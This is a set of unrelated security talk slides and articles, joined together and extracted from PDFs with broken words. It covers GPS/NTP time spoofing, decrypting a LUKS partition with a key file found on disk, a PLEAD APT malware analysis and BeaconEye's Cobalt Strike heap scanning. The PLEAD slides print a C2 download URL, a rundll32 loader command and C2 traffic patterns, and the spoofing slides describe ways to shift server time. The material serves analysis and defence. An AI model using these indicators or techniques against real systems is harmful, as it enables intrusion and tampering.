ZXSecurity_GPSSpoofing_LetsDoTheTimewarpAgain.pdf
Code:
https://github.com/zxsecurity/tardgps
Introducing TardGPS
39
www.zxsecurity.co.nz
@nzkarit
This will only work on an Air
Gapped network
Note
40
www.zxsecurity.co.nz
@nzkarit
Network Layout
41
www.zxsecurity.co.nz
@nzkarit
Demo
42
www.zxsecurity.co.nz
@nzkarit
TOTP
E.g. Google Auth
A new token every
30 seconds
Timebased One Time Password
43
www.zxsecurity.co.nz
@nzkarit
Demo
44
www.zxsecurity.co.nz
@nzkarit
Setting up TOTP for SSH
45
Do you want to disallow multiple
uses of the same authentication
token? This restricts you to one
login about every 30s, but it
increases your chances to notice
or even prevent man-in-the-middle
attacks (y/n)
www.zxsecurity.co.nz
@nzkarit
Library
Default
No Reuse
No
Default
Default
Reuse
Google Auth libpam
X
Two Factor
Authentication
(Wordpress Plugin)
X
OATHAuth (MediaWiki
Plugin)
X
Library
Support
No
Support
Github - pyotp/pyotp
X
Github - mdp/rotp
X
Github - Spomky-Labs/otphp
X
Github - pquerna/otp
X
TOTP Implementations
46
Support is a method that does verify with prior context
www.zxsecurity.co.nz
@nzkarit
Make sure there is a setting related to
reuse
Make sure it is set to not allow reuse
What to look for in a TOTP
47
www.zxsecurity.co.nz
@nzkarit
HOTP - HMAC-based one-time
password
Also in Google Auth
U2F
One token can be used on many sites
One user can subscribe more than one
token
Friends don’t let friends SMS
Also other 2FA solutions
48
www.zxsecurity.co.nz
@nzkarit
SUDO counts time in a different way, using
OS Clock Ticks
so you can’t roll back time and bypass sudo
password check timeout
sudoer file timestamp_timeout=X
Uptime works in a similar way
SUDO
49
www.zxsecurity.co.nz
@nzkarit
Uptime during jump
50
www.zxsecurity.co.nz
@nzkarit
Incident Response becomes interesting when your logging starts
showing:
Nov 18 13:45:43 important-server:
Hacker logs out
Nov 18 13:46:54 important-server:
Hacker performs l33t hack
Nov 18 13:47:47 important-server:
Hacker logs in
Through time manipulation or cron running: date set ‘some random
time’
Also if move time forward could make logs roll and purge
If no central logging
Forensics
51
www.zxsecurity.co.nz
@nzkarit
From a Stringray Manual
(Thanks to @VickerySec to finding this)
External GPS - Sometimes an external GPS device will emit erroneous GPS
ticks, causing the Gemini activation license to expire.
Licenses
52
www.zxsecurity.co.nz
@nzkarit
53
www.zxsecurity.co.nz
@nzkarit
What can we do if we have access to the data centre roof?
GPS unit with aerial on roof serial down
GPS unit in server and radio down wire from roof
Attach transmitter to wire with attenuator
Use server 127.0.20.0
ntpd then knows to look at /dev/gps0 and /dev/pps0 for
import
Physical Access
54
www.zxsecurity.co.nz
@nzkarit
NMEA Data – Serial Data (/dev/gps0)
$GPGGA,062237.000,4117.4155,S,17445.3752,E,1,9,0.97,177.1,M,19.0,M,,*4A
$GPRMC,062237.000,A,4117.4155,S,17445.3752,E,0.16,262.97,120217,,,A*7E
Hour, Minute, Second, Day, Month, Year
Pulse Per Second – PPS (/dev/pps0)
Serial
55
www.zxsecurity.co.nz
@nzkarit
Pulse Per Second - PPS
56
0
0.1
0.2
0.3
0.4
0.5
0.6
0.7
0.8
0.9
1
1.1
1.2
1.3
1.4
1.5
1.6
1.7
1.8
1.9
2
2.1
2.2
2.3
2.4
2.5
2.6
2.7
2.8
2.9
3
www.zxsecurity.co.nz
@nzkarit
Doesn’t contain time value
It indicates where a second starts
Less processing on the GPS Receiver so
comes through in a more timely manner
Rising edge can be in micro or nano
second accuracy
PPS
57
www.zxsecurity.co.nz
@nzkarit
I had NTPd running on a raspberry pi
GPS receiver via UART serial on GPIO
pins
One wire was for PPS
NTP Setup
58
www.zxsecurity.co.nz
@nzkarit
Link the PPS pin to another GPIO pin
Set that pin high and low as applicable
How to spoof PPS
59
www.zxsecurity.co.nz
@nzkarit
If run PPS with a different timing the NEMA data
will keep correcting
So will keep pulling it back
So within ±1 second
Maybe an issue in finance, telecoms and energy
Where fractions of a second count
So what happens
60
www.zxsecurity.co.nz
@nzkarit
If pull serial NTPd Tx wire
Stops the source in NTPd, even if getting
PPS signal
So can’t manipulate time just through PPS
manipulation
Can we just remove the NMEA data?
61
www.zxsecurity.co.nz
@nzkarit
Python Script
Moves time back in steps
So as not to crash NTPd
Talked in more detail at BSidesCBR
Slides:
https://zxsecurity.co.nz/presentations/201703_BSidesCBR-
ZXSecurity_Practical_GPS_Spoofing.pdf
Code:
https://github.com/zxsecurity/NMEAdesync
NMEAdesync
62
www.zxsecurity.co.nz
@nzkarit
Similar in concept to tardgps
Though changing the data in the NMEA data rather than GPS Signal
Adjust the time
Adjust how fast a second is
Also does the PPS generation
Offers more control than tardgps
No GPS signal tom foolery
NMEAdesync
63
www.zxsecurity.co.nz
@nzkarit
Python Script
stdout $GPRMC and $GPGGA
PPS high/low on pin
Loop
socat stdout to /dev/pts/X
Symlink /dev/pts/X to /dev/gps0
ntpd takes it from there
NMEAdesync under the hood
64
www.zxsecurity.co.nz
@nzkarit
I could get similar behaviour as tardgps
But simpler to execute as don’t have the
radio aspect
Though will require physical access to the
roof of the building
NMEAdesync running
65
www.zxsecurity.co.nz
@nzkarit
Device
66
www.zxsecurity.co.nz
@nzkarit
Their clients
67
www.zxsecurity.co.nz
@nzkarit
If jumped time a large amount forward
It just worked
Didn’t need TardGPS
Backwards did require TardGPS or NMEADesync
Behaved like NTPd earlier
So what did it do?
68
www.zxsecurity.co.nz
@nzkarit
69
www.zxsecurity.co.nz
@nzkarit
70
www.zxsecurity.co.nz
@nzkarit
71
www.zxsecurity.co.nz
@nzkarit
72
www.zxsecurity.co.nz
@nzkarit
73
www.zxsecurity.co.nz
@nzkarit
74
www.zxsecurity.co.nz
@nzkarit
GPS Signal Spoofing
How can we detect this?
75
www.zxsecurity.co.nz
@nzkarit
Talked in more detail at Unrestcon 2016
Slides on ZX Security’s Site:
https://zxsecurity.co.nz/events.html
Code on ZX Security’s Github:
https://github.com/zxsecurity/gpsnitch
GPSnitch
76
www.zxsecurity.co.nz
@nzkarit
Time offset
SNR Values
SNR Range
Location Stationary
What does GPSnitch Do?
77
www.zxsecurity.co.nz
@nzkarit
Demo
78
www.zxsecurity.co.nz
@nzkarit
NTP Servers
Also GPS units wanting to know location
Useful for
79
www.zxsecurity.co.nz
@nzkarit
NMEA Serial Spoofing
How can we detect this?
80
www.zxsecurity.co.nz
@nzkarit
https://github.com/zxsecurity/NMEAsnitch
Records the NMEA sentences
Looks at the ratios and sentences per
second
NMEA Snitch
81
www.zxsecurity.co.nz
@nzkarit
Sentence
per second
$GPGGA
1
$GPGSA
1
$GPGSV
0.6
$GPRMC
1
$GPVTG
1
82
Output per second
www.zxsecurity.co.nz
@nzkarit
Alert when the rate of sentences doesn’t match the norm
What does it do?
83
www.zxsecurity.co.nz
@nzkarit
3+ Upstream
Allows for bad ticker detection and removal
Multiple Types of upstream
I.e. don’t pick 3 GPS based ones
GPS, Atomic
Don’t pick just one upstream provider
Rouge admin problem
Maybe one overseas so gives you a coarse sanity check of
time
NTP Setups to avoid GPS Spoofing
84
www.zxsecurity.co.nz
@nzkarit
But GPS is travelling across the air…
Consider atomic, caesium, rubidium
“Air gapped” networks
85
www.zxsecurity.co.nz
@nzkarit
Incorporate GPSnitch
Additional logging for when daemon shuts
down due to a time jump
On daemon restart after a large time
jump occurs, prompt user to accept time
jump
Changes for NTPd or NTP Server
86
www.zxsecurity.co.nz
@nzkarit
bladeRF – Awesome customer service and great kit
Takuji Ebinuma – for GitHub code
@amm0nra – General SDR stuff and Ideas
@bogan & ZX Security – encouragement, kit, time
Fincham – GPS NTP Kit
Unicorn Team – Ideas from their work
Everyone else who has suggested ideas / given input
DefCon – For having me
You – For hanging around and having a listen
GPSd – Daemon to do the GPS stuff
GPS3 – Python Library for GPSd
Thanks
87
Thanks
www.zxsecurity.co.nz
@nzkarit
Slides: https://zxsecurity.co.nz/presentations/201607_Unrestcon-
ZXSecurity_GPSSpoofing.pdf
Code: https://github.com/zxsecurity/gpsnitch
GPSnitch
89
www.zxsecurity.co.nz
@nzkarit
Slides: https://zxsecurity.co.nz/presentations/201607_Unrestcon-
ZXSecurity_GPSSpoofing.pdf
Code: https://github.com/zxsecurity/gpsnitch
GPSnitch
90
www.zxsecurity.co.nz
@nzkarit
Code: https://github.com/zxsecurity/tardgps
tardgps
91
www.zxsecurity.co.nz
@nzkarit
Code
https://github.com/osqzss/gps-sdr-sim/
https://github.com/osqzss/bladeGPS
https://github.com/keith-citrenbaum/bladeGPS - Fork of bladeGPS for Linux
Blog
http://en.wooyun.io/2016/02/04/41.html
Lat Long Alt to ECEF
http://www.sysense.com/products/ecef_lla_converter/index.html
How To
www.zxsecurity.co.nz
@nzkarit
GPS3 Python Library
https://github.com/wadda/gps3
GPSd Daemon
http://www.catb.org/gpsd/
Libraries Used
93
www.zxsecurity.co.nz
@nzkarit
http://www.csmonitor.com/World/Middle-East/2011/1215/Exclusive-Iran-
hijacked-US-drone-says-Iranian-engineer-Video
http://www.cnet.com/news/truck-driver-has-gps-jammer-accidentally-jams-
newark-airport/
http://arstechnica.com/security/2013/07/professor-spoofs-80m-superyachts-
gps-receiver-on-the-high-seas/
http://www.gereports.com/post/75375269775/no-room-for-error-pilot-and-
innovator-steve/
http://www.ainonline.com/aviation-news/air-transport/2013-06-16/ge-extends-
rnp-capability-and-adds-fms-family
References
94
www.zxsecurity.co.nz
@nzkarit
http://www.theairlinepilots.com/forumarchive/aviation-regulations/rnp-ar.pdf
http://www.stuff.co.nz/auckland/68493319/Blessie-Gotingco-trial-GPS-expert-
explains-errors-in-data
https://conference.hitb.org/hitbsecconf2016ams/materials/D2T1%20-
%20Yuwei%20Zheng%20and%20Haoqi%20Shan%20-
%20Forging%20a%20Wireless%20Time%20Signal%20to%20Attack%20NTP%2
0Servers.pdf
http://www.securityweek.com/ntp-servers-exposed-long-distance-wireless-
attacks
http://www.gps.gov/multimedia/images/constellation.jpg
References
95
www.zxsecurity.co.nz
@nzkarit
https://documentation.meraki.com/@api/deki/files/1560/=7ea9feb2-d261-4a71-b24f-
f01c9fc31d0b?revision=1
http://www.microwavejournal.com/legacy_assets/images/11106_Fig1x250.gif
https://pbs.twimg.com/profile_images/2822987562/849b8c47d20628d70b85d25f53993a76_4
00x400.png
https://upload.wikimedia.org/wikipedia/commons/4/49/GPS_Block_IIIA.jpg
http://www.synchbueno.com/components/com_jshopping/files/img_products/full_1-
131121210043Y1.jpg
https://play.google.com/store/apps/details?id=com.google.android.apps.authenticator2&hl=en
https://www.yubico.com/wp-content/uploads/2015/04/YubiKey-4-1000-2016-444x444.png
http://www.gpsntp.com/about/
https://upload.wikimedia.org/wikipedia/commons/4/4a/GPS_roof_antenna_dsc06160.jpg
References
96
www.zxsecurity.co.nz
@nzkarit
https://cdn.shopify.com/s/files/1/0071/5032/products/upside_down_2.png?v=13
57282201
https://assets.documentcloud.org/documents/3105849/Gemini-RayFish-
Controller-R3-3-1-Release-Notes.pdf
https://static1.businessinsider.com/image/55a650fa69bedd1b445e80ea-1190-
625/cord-cutting-doesnt-spell-doom-for-cable-companies.jpg
References
97 | pdf |
1
记次审计时遇到的加密分区解密
前⾔
⽂件系统分析
⽂件系统解密
最近拿到了⼀个商业产品的qcow2 镜像 准备试⼀试代码审计
⾸先⽤qemu-img 转换成vmdk 镜像
转换遇到错误 ⽹上搜索只有⼀个其他项⽬的issue 没有解决⽅案
阅读qemu源代码 发现是在2017-02-15版本引⼊了这个特性
https://lists.gnu.org/archive/html/qemu-devel/2017-02/msg03173.html
发现可以使⽤2016年的旧版qemu完成转换
https://qemu.weilnetz.de/w64/2016/
转换完成使⽤vm启动 准备进⼊grub修改root密码
发现grub使⽤密码验证
准备使⽤diskgenius载⼊镜像删除grub密码
前⾔
Plain Text
复制代码
qemu-img convert -f qcow2 123.qcow2 vmdk 123.vmdk
1
Plain Text
复制代码
bitmaps_ext: Invalid extension length: Unknown error
1
2
载⼊镜像后如下图所示
除引导分区外 其他分区的⽂件系统不能正常识别
ci 是⼀个 LINUX LVM的卷组
通过前缀魔数判断root卷⽂件系统为 XFS
diskgenius 不⽀持XFS⽂件系统 所以只能使⽤其他⽅法挂载读写⾥⾯的内容
继续看其他分区 发现app home 分区与其他分区⽂件系统不⼀样
有着LUKS的标记
⽂件系统分析
3
经过搜索发现这是⼀种LINUX上的硬盘加密⽅案 Linux Unified Key Setup
使⽤了AES加密 需要秘钥才能解密
既然可以正常进⼊系统,那就说明秘钥是储存在本地的.
我们只要寻找系统分区的挂载配置就有可能找到秘钥.
准备⼀台可以正常使⽤的linux虚拟机. 这⾥使⽤了⼀台 kali
⽂件系统解密
4
将要挂载的硬盘添加到虚拟机中
⾸先挂载 LINUX LVM卷组
vgscan 扫描卷组
vgchange -ay 卷标签 (激活卷组)
5
成功挂载卷
因为root分区没有加密所以直接挂载他
新建⼀个⽬录 挂载root分区
6
mount -t xfs /dev/mapper/cl-root /tmp/temfs/
成功挂载root分区
现在可以直接对root分区进⾏读写操作了 可以修改密码直接进⼊系统读取解密后分区的⽂件
但是不能⽌步于此 既然遇到了这种特殊情况 就要学习下解密luks分区
在查了⼀些资料后 发现解密⽅法⾮常简单
第⼀步先在root分区寻找分区挂载的配置⽂件
可以在/etc/crypttab ⽂件中找到⽤于分区解密的key⽂件位置
Plain Text
复制代码
/etc/fstab 启动分区挂载
/etc/crypttab 分区解密
1
2
7
安装luks命令⼯具
使⽤命令⾏解密分区
成功解密分区
将这个mapper挂载到⼀个⽬录
mkdir /tmp/atrustapp/
mount -t xfs /dev/mapper/app /tmp/atrustapp/
到这⼀步就完成了解密
其他分区可按照这种⽅法使⽤对应秘钥单独解密
Plain Text
复制代码
cryptsetup luksOpen 被加密的分区 --key-file 秘钥⽂件
cryptsetup luksOpen /dev/mapper/cl-app --key-file
/tmp/temfs/etc/.appconf/.abcde app
1
2 | pdf |
PLEAD
The
Phantom
of
routers
Who
we
are
• Charles
&
Zha0
• APT
Research
@
Team
T5
• Malware
analysis,
Cyber
Threat
Tracking
Agenda
• IntroducGon
• PLEAD
began
• PLEAD
malware
analysis
• PLEAD
lateral
movement
• GD
Rat:
Hiding
behind
PLEAD?
• The
phantom
of
routers
• Conclusion
IntroducGon
• PLEAD
is
a
RAT
used
by
an
APT
group
targeGng
Taiwan
specifically.
– developed
purely
in
shellcode
– adopGng
skillful
techniques
to
obfuscate
itself
• The
actors
use
several
RATs
at
the
same
Gme
• They
have
excellent
tools
for
their
post
exploitaGon
job.
• Routers
were
leveraged
to
hide
their
footprints
Agenda
• IntroducGon
• PLEAD
began
• PLEAD
malware
analysis
• PLEAD
lateral
movement
• GD
Rat:
Hiding
behind
PLEAD?
• The
phantom
of
routers
• Conclusion
PLEAD
began
• The
1st
public
report
about
PLEAD
was
released
by
trendmicro
in
2014,
it
was
named
PLEAD
in
that
report:
• RTLO
tricks
were
used
by
them
to
target
TW
Gov
in
that
report.
• The
only
public
report
about
PLEAD
so
far.
PLEAD
began
• The
oldest
sample
we’ve
seen
could
be
dated
back
to
2011:
• RTLO
was
also
used
then
J
PLEAD
began
• We
named
it
“PLEAD”
from
its
instrucGons:
Agenda
• IntroducGon
• PLEAD
began
• PLEAD
malware
analysis
• PLEAD
lateral
movement
• GD
Rat:
Hiding
behind
PLEAD?
• The
phantom
of
routers
• Conclusion
PLEAD
MALWARE
FAMILIES
PLEAD
PLEAD
Analysis
Process Injection (iexplorer.exe)
PLEAD
Analysis
Config Block Decoder
PLEAD
Analysis
• PLEAD
Traffic
Pa[ern:
– The
1st
character
of
content
data
would
be
the
command
(xor
with
0x00)
– following
immediately
with
encoded
parameter
of
the
command
(xor
with
1
byte
key)
(GET|POST)\s\/\d{4}\/\w\d+\.(js|asp|jpg|css)\sHTTP/\d\.\d
Content
Data
-‐
Comment
CMD:
A,C,P,G,E,L,D
GET
XOR
BLOCK
(0...0x0D)
POST
XOR
BLOCK
(0...0x0B)
PLEAD
Analysis
• PLEAD
Traffic
Pa[ern:
LC:\
L:
cmd_listdir
LisGng
command
of
C:\
and
return
the
result
PLEAD
MALWARE
FAMILIES
PLEAD
Downloader
à
PLEAD/RACKEY
PLEAD
Downloader
Analysis
• Shellcode
(encoded)
again!!
Two
bytes
(ASCII)
to
1
byte
(binray)
encoding
http://dcns.chickenkiller.com:80/
dyfwmine.jpg
PLEAD
Downloader
Analysis
PLEAD
Downloader
Analysis
• Network
traffic
RC4(Shellcode
RC4
(ReflecGve
DLL))
RC4 KEY
Shellcode
PLEAD
Downloader
Analysis
PLEAD
Downloader
Analysis
Shift 20h byte +
Fill MZ Header
PLEAD
MALWARE
FAMILIES
PLEAD
Loader
à
PLEAD/RACKEY
RC4 Key
PLEAD
Loader
Analysis
Shellcode
PLEAD
Loader
Analysis
ConstrucGng
shellcode
in
memory
RC4 Key
PLEAD
Loader
Analysis
PLEAD
Loader
Analysis
RC4 key
PLEAD
MALWARE
FAMILIES
EnCOMSecurity/EnableCOMS
EnCOMSecurity/EnableCOMS
Analysis
rundll32.exe "%APPDATA%\Microsoft\pdfupd.dll",EnCOMSecurity
{7288fcda-571e-4eb3-8c2e-97c2fd10ce2e}
EnCOMSecurity/EnableCOMS
Analysis
• Decoding
the
shellcode
EnCOMSecurity/EnableCOMS
Analysis
InjecGng
to
iexplore.exe
EnCOMSecurity/EnableCOMS
Analysis
• Random
URI
from
Dict.
h[p://mail.yahoo.com/
Console
Tables
GET
h[p://%s%s?%x=%dI%d
POST
h[p://%s%s?%x=%dI%d
GET
h[p://%s:%d%s?%x=%dI%d
POST
h[p://%s:%d%s?%x=%dI%d
GET
%s?%x=%dI%d
POST
%s?%x=%dI%d
Content-‐Length:
%d
Content-‐type:
applicaGon/x-‐www-‐form-‐urlencoded
Cookie:
%xid=%s
Cookie:
%xid=%s
<Dir
error
%d>
%d-‐%02d-‐%02d
%02d:%02d
EnCOMSecurity/EnableCOMS
Analysis
• Network
traffic
Change order(Base64(Encode(RC4_Variable(data))))
PLEAD
MALWARE
FAMILIES
Diskless
PLEAD
Diskless
PLEAD
malware
• Hacking
Team
Tool
–
CVE-‐2015-‐5119
32
Bit
payload
–
PLEAD
• Exist
only
in
memory
• Hard
to
detect
Agenda
• IntroducGon
• PLEAD
began
• PLEAD
malware
analysis
• PLEAD
lateral
movement
• GD
Rat:
Hiding
behind
PLEAD?
• The
phantom
of
routers
• Conclusion
Lateral
Movement
• Arer
compromise
• Leveraging
AnG-‐Virus
products
to
deploy
trojan:
– MD5=59fd59c0a63ccef421490c9fac0*****
2011-‐09-‐02
xx:xx:xx
UTC
– MD5=ad4ec04ea6db22d7a4b8b705a1c*****
2012-‐07-‐13
xx:xx:xx
UTC
– MD5=5b759a7e9195247fa2033c8f33e*****
2014-‐09-‐05
xx:xx:xx
UTC
Tools
evolved
overGme
Lateral
Movement
• Leveraging
Asset
Management
System
to
deploy
trojan:
– MD5=61020085db3ff7ccf6243aa1133*****
2010-‐09-‐20
xx:xx:xx
UTC
– MD5=85b219a4ab1bcdbf5a3ac27f8bf*****
2012-‐06-‐20
xx:xx:xx
UTC
– MD5=da9e74cfacccf867c68d5a9cceb*****
2014-‐10-‐15
xx:xx:xx
UTC
Agenda
• IntroducGon
• PLEAD
began
• PLEAD
malware
analysis
• PLEAD
lateral
movement
• GDrive
Rat:
Hiding
behind
PLEAD?
• The
phantom
of
routers
• Conclusion
GDrive
Rat
• GDrive
Rat
–
a
data
exfiltraGon
tool
discovered
in
late
2014
– implanted
in
vicGm
hosts
to
automaGcally
upload
docs
– leveraging
google
drive
APIs,
stolen
data
were
stored
on
google
drive
storage
registered
by
actors
– all
traffic
is
encrypted,
only
connecGons
to
google
can
be
seen
– almost
impossible
to
detect
for
IDS/IPS
– GDrive
Rat
was
discovered
by
our
colleague
J
GDrive
Rat
• Links
of
GD
Rat
to
PLEAD:
DXXXXXXX
2014-‐10-‐22
15:24:01 C:\PROGRAM
FILES
(X86)\JAVA\JRE7\BIN\JAVAS.EXE
2014-‐10-‐22
14:25:58 C:\PROGRAM
FILES
(X86)\XXXXXXXXXX\XXXXXXXXXX
CLIENT\PATCH64.EXE
JXXXX
2014-‐10-‐23
16:51:58 C:\PROGRAM
FILES
(X86)\GOOGLE\COMMON\GOOGLE
UPDATER\CHROME.EXE
2014-‐10-‐23
14:34:04 C:\PROGRAM
FILES
(X86)\XXXXXXXXXX\XXXXXXXXXX
CLIENT\PATCH64.EXE
RXXXXX
2014-‐10-‐24
15:42:09 C:\PROGRAM
FILES
(X86)\COMMON
FILES\JAVA\JAVA
UPDATE\JAVAS.EXE
2014-‐10-‐24
15:13:52 C:\PROGRAM
FILES
(X86)\XXXXXXXXXX\XXXXXXXXXX
CLIENT\PATCH64.EXE
……
Logs
collected
in
an
IR
case
in
TW
GD
Rat
PLEAD
Agenda
• IntroducGon
• PLEAD
began
• PLEAD
malware
analysis
• PLEAD
lateral
movement
• GD
Rat:
Hiding
behind
PLEAD?
• The
phantom
of
routers
• Conclusion
Phantom
in
routers
• Compromised
servers
have
been
used
as
C2s
in
a[acks
for
decades.
• Since
2014,
we’ve
seen
some
a[acks
in
Taiwan,
whose
C2
Ips
were
dynamic
IP
addresses.
Phantom
in
routers
• One
a[ack
targeGng
TW
in
March
2015
from
PLEAD
group,
using
the
following
C2:
• One
interesGng
alias
was
observed:
xxxx.chickenkiller.com
CNAME
nxxxx1.asuscomm.com
Phantom
in
routers
• Port
scanning
result
showing
it
to
be
an
ASUS
device:
PORT
STATE
SERVICE
VERSION
80/tcp
open
h[p
Microsor
IIS
h[pd
6.0
|
h[p-‐methods:
OPTIONS
TRACE
GET
HEAD
POST
|
PotenGally
risky
methods:
TRACE
|_See
h[p://nmap.org/nsedoc/scripts/h[p-‐methods.html
|_h[p-‐Gtle:
\xAB\xD8\xBAc\xA4\xA4
443/tcp
closed
h[ps
1723/tcp
open
pptp
linux
(Firmware:
1)
8443/tcp
open
ssl/h[p
Linksys
wireless-‐G
WAP
h[p
config
(Name
RT-‐N66U)
|
h[p-‐auth:
|
HTTP/1.0
401
Unauthorized
|_
Basic
realm=RT-‐N66U
Phantom
in
routers
• Remote
code
exploit
(CVE-‐2013-‐4659)
for
the
device
could
be
found
on
internet:
Phantom
in
routers
• With
the
help
of
our
friends,
we
got
some
insight
to
the
compromised
device:
ASUS
provides
DDNS
service
for
its
routers
Vpn
account
added
by
actors
Phantom
in
routers
• Asus
is
not
the
only
one
being
abused
Phantom
in
routers
• We
conducted
a
simple
staGsGcs
of
8
Class
B
Net-‐Blocks
in
Taiwan:
Vulnerable:
10140
/
Total:
91405
IP
11.09%
vulnerable!!
Agenda
• IntroducGon
• PLEAD
began
• PLEAD
malware
analysis
• PLEAD
lateral
movement
• GD
Rat:
Hiding
behind
PLEAD?
• The
phantom
of
routers
• Conclusion
Conclusion
• PLEAD
has
targeted
TW
for
at
least
5
years.
• Phantom:
– Several
RATs,
developed
in
shellcode
– Diskless
RAT
used
with
Hacking
Team
tool
– Excellent
0day
exploits
for
post-‐exploitaGon
– Gdrive
RAT
might
be
their
data
exfiltraGon
tool
– Routers,
embedded
devices
are
used
as
C2
Q
&
A
[email protected]
[email protected] | pdf |
BeaconEye的技术原理
0x00 前言
刚开始,群里小伙伴讨论BeaconEye的时候,我不以为然,无外乎就是内存扫描嘛,对抗手法一大堆,
分分钟给他搞搞失效。
最后呢,在我仔细研究之后,以后再也不敢装逼了。
0x01 前置知识
由于我二进制也是个菜逼,搞清楚BeaconEye需要掌握一些前置知识:
windows内存管理API
通过这个图我们知道,我们经常使用malloc等c库函数实际操作的是堆内存,而堆内存来源于虚拟内存。
这儿重点就在于堆内存的管理。在windows种堆内存是共享资源,是被所有线程共享的资源,因此不管
是主线程还是子线程,使用malloc等函数分配的内存都是在堆内存里面划出的一块儿区域,这个区域还
能被多个线程操作。
Author: L.N. / Date: 2021-09-07 Produced by AttackTeamFamily
No. 1 / 4 - Welcome to www.red-team.cn
这个堆内存的创建有2种方式,1种是进程创建的时候,系统会自动创建一个堆内存(默认堆),第2种
是程序使用HeapCreate等堆操作的函数自己创建。不管是系统创建还是自己创建的堆都可以通过PEB找
到堆内存的地址。
这就是BeaconEye的思路,通过PEB去查找堆地址,然后使用yara规则扫描堆内存。那为什么堆内存里
面有Beacon的配置信息呢?@d_infinite 同学的文章https://mp.weixin.qq.com/s/mh8iYU6lQohsVrIN
M2uvCg,详细的说了Beacon配置信息的组成以及被写入堆的过程,重点就是下图,这个就是
beacon.dll自身代码(引用@d_infinite 同学的图):
我框住的内存分配函数,是的beacon.dll把自身配置写入到了堆内存中,而且是解密以后写入的,因此
在堆上beacon配置是明文的。
Author: L.N. / Date: 2021-09-07 Produced by AttackTeamFamily
No. 2 / 4 - Welcome to www.red-team.cn
我们通过以上思路基本让我们的植入体无处遁形。我们常见的对抗方式,大多以休眠加密混淆、修改内
存权限、抹去关键函数、花指令等等等,以上的对抗手法大多是针对beacon.dll在内存中的留存形式上
对抗,而beacon自身代码执行留下的痕迹,在不能自定义beacon的情况下很难操作beacon自身代码行
为,因此BeaconEye的这个思路(思路挺好,但是程序实现有小BUG,以及3.x版本yara规则也需要修
改)在4.3以及以前版本,真是神挡杀人、佛挡杀佛。我们只能修改beacon.dll代码让它不在堆上去保存
明文的beacon配置。而这需要cs4.4。
0x02 Beacon代码实现
堆内存查找,这涉及到PEB的数据结构以及堆的数据结构,小伙伴们自行google学习:
这个过程被@WBGlll发现了一个BUG,这也是为什么我们很多小伙伴在测试远程线程注入beacon的时
候,没有被侦测到的问题根源,原文:https://wbglil.gitbook.io/cobalt-strike/cobalt-strike-gong-ji-fan
g-yu/untitled-1,@WBGlll大哥修改后的代码:
public List<long> Heaps { get {
int numHeaps;
long heapArray;
if (Is64Bit) {
numHeaps = ReadMemory<int>(PebAddress + 0xE8);
heapArray = ReadPointer(PebAddress + 0xF0);
} else {
numHeaps = ReadMemory<int>(PebAddress + 0x88);
heapArray = ReadPointer(PebAddress + 0x90);
}
var heaps = new List<long>();
for (int idx = 0; idx < numHeaps; ++idx) {
var heap = ReadPointer((ulong)(heapArray + (idx * (Is64Bit ?
8 : 4))));
heaps.Add(heap);
}
return heaps;
}
}
public List<long> Heaps { get {
int numHeaps;
long heapArray;
if (Is64Bit) {
numHeaps = ReadMemory<int>(PebAddress + 0xE8);
heapArray = ReadPointer(PebAddress + 0xF0);
} else {
numHeaps = ReadMemory<int>(PebAddress + 0x88);
heapArray = ReadPointer(PebAddress + 0x90);
}
var heaps = new List<long>();
for (int idx = 0; idx < numHeaps; ++idx)
{
Author: L.N. / Date: 2021-09-07 Produced by AttackTeamFamily
No. 3 / 4 - Welcome to www.red-team.cn
0x03 总结
以前我始终认为静态yara的扫描方式是很容易绕过的,但是这次更新了我的认知,在万事万物中寻找不
变,特征扫描永不过时。但是随着CS4.4自定义beacon的出现,这种方式也有了很好的对抗方法。攻防
永远没有一招鲜的方式方法,不管是公鸡还是防御。公鸡队小伙伴不要把所有精力都放在学习攻击技术
上,了解防御原理,也是非常重要的。
var heap = ReadPointer((ulong)(heapArray + (idx * (Is64Bit ?
8 : 4))));
var temp = ReadPointer((ulong)heap + 0x18);
var temp1 = ReadPointer((ulong)heap + 0x18+8);
do
{
if (ReadPointer((ulong)temp)==
ReadPointer((ulong)temp1))
{
heaps.Add(temp);
break;
}
heaps.Add(temp);
temp = ReadPointer((ulong)temp + 8);
} while (temp1 != temp);
}
return heaps;
}
}
Author: L.N. / Date: 2021-09-07 Produced by AttackTeamFamily
No. 4 / 4 - Welcome to www.red-team.cn | pdf |
Aug 2017
Senior Malware Scientist ,Trend Micro
[email protected]
HITCON
Source: https://ransomwaretracker.abuse.ch/tracker/cerber/
booster[0]:
0:[f1<127.5] yes=1,no=2,missing=1
1:[f7<28.5] yes=3,no=4,missing=3
3:[f5<30.95] yes=7,no=8,missing=7
7:[f0<5.5] yes=15,no=16,missing=15
15:leaf=-1.89091
16:leaf=-0.5
8:[f6<0.9045] yes=17,no=18,missing=17
Pros
Easy to program
Very fast training
Perform well against tabular input data
Use human intelligence and heuristics
Cons
Hard to debug when it mis-predicts
Development cost is high
Feature engineering is required
Cell
x
Cell
Xt
Yt
Cell
y
Cell
z
Cell
.
Cell
t
Cell
w
Answer
h
t
t
t
W
Cell
i
Cell
k
Cell
3
Cell
.
Cell
h
Cell
k
Answer
Softmax
0.6
0.2
0.1
Cryptolocker
Clean
Locky
Cerber-RIGEK
0.1
Fully Connected
Source: https://stats.stackexchange.com/questions/273465/neural-network-softmax-activation
Source: http://colah.github.io/posts/2015-08-Understanding-LSTMs/
Source: http://colah.github.io/posts/2015-08-Understanding-LSTMs/
Source: https://arxiv.org/pdf/1409.0473.pdf
Symbols do not carry their natural semantics within them whereas
continuous signals such as audios and videos do.
www.facebook.com/n/?kjoha
GRU
GRU
GRU
GRU
Emb
Emb
Emb
Emb
Emb
Emb
GRU
GRU
GRU
GRU
GRU
Shortest URLs
Longest URLs
…
Cryptolocker
Clean
Locky
Cerber-RIGEK
Feature
Dataset
Sourcing
Legitimate URLs: Akamai log
Cryptolocker: Malware operations team
Locky v2/ Cerber-RIGEK : Ransomware tracker
Splits
train : validation : test = 0.1 : 0.1 : 0.8
Before Training
After Training
Undetected URL from test-cryptolocker.txt
www.leriov.com:80/leriov3/player1.php?id=aH!BeF0cHM6
Ly9waG90b3MuZ29vZ2xlLmNvbS9zaGFyZS9B!BeFjF!BeFaXBNOH
B!BeFcmplbEEydU!BeFPX3ZZQTBLel!BeFKdjNmWVItMUFaM1UxQ
1UtX25oWDho!BeFjNTaDh!BeFaEs0bF85WXNlYVVySUNBP2tleT1
NMDV3YjB!BeFelNtVXpj@bfgo2TFdKVk1YQX!BeFjWHBOY0VKdGF
FdElhMHBS&id2=
Analysis
This URL was misplaced in the test cryptolocker sample list. So this
